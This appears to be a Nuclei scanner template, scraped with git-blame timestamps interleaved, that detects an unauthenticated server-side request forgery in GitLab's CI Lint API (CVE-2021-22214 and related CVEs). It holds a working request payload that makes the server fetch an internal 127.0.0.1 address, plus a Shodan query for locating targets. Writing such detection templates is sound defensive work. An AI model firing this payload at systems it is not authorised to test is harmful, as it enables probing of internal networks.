2021-06-18 09:12:13 +00:00
|
|
|
id: CVE-2021-22214
|
2022-03-04 13:50:03 +00:00
|
|
|
|
2021-06-17 12:43:03 +00:00
|
|
|
info:
|
2021-06-18 09:32:17 +00:00
|
|
|
name: Unauthenticated Gitlab SSRF - CI Lint API
|
2022-04-22 10:38:41 +00:00
|
|
|
author: Suman_Kar,GitLab Red Team
|
2021-09-10 11:26:40 +00:00
|
|
|
severity: high
|
2022-03-04 02:04:56 +00:00
|
|
|
description: |
|
|
|
|
When requests to the internal network for webhooks are enabled,
|
|
|
|
a server-side request forgery vulnerability in GitLab CE/EE affecting all
|
|
|
|
versions starting from 10.5 was possible to exploit for an unauthenticated
|
|
|
|
attacker even on a GitLab instance where registration is limited.
|
|
|
|
The same vulnerability actually spans multiple CVEs, due to similar reports
|
2022-03-17 17:01:45 +00:00
|
|
|
that were fixed across separate patches. These CVEs are:
|
2022-03-04 02:04:56 +00:00
|
|
|
- CVE-2021-39935
|
|
|
|
- CVE-2021-22214
|
|
|
|
- CVE-2021-22175
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
|
2022-03-04 02:04:56 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
|
|
|
|
- https://docs.gitlab.com/ee/api/lint.html
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 8.6
|
2022-03-04 13:50:03 +00:00
|
|
|
cve-id: CVE-2021-22214,CVE-2021-39935,CVE-2021-22175
|
2021-09-10 11:26:40 +00:00
|
|
|
cwe-id: CWE-918
|
2022-04-22 10:38:41 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.title:"GitLab"
|
|
|
|
tags: cve,cve2021,gitlab,ssrf
|
2022-03-04 13:50:03 +00:00
|
|
|
|
2021-06-17 12:43:03 +00:00
|
|
|
requests:
|
2022-03-04 02:04:56 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
|
2022-03-04 13:50:03 +00:00
|
|
|
|
2022-03-04 02:04:56 +00:00
|
|
|
headers:
|
|
|
|
Content-Type: application/json
|
2022-03-04 13:50:03 +00:00
|
|
|
|
|
|
|
body: |
|
|
|
|
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
|
|
|
|
|
2022-03-04 02:04:56 +00:00
|
|
|
redirects: true
|
|
|
|
max-redirects: 3
|
2021-06-17 12:43:03 +00:00
|
|
|
matchers:
|
2021-06-18 09:32:17 +00:00
|
|
|
- type: word
|
2022-03-04 02:04:56 +00:00
|
|
|
part: body
|
2021-06-18 09:32:17 +00:00
|
|
|
words:
|
2022-03-17 17:01:45 +00:00
|
|
|
- "does not have valid YAML syntax"
|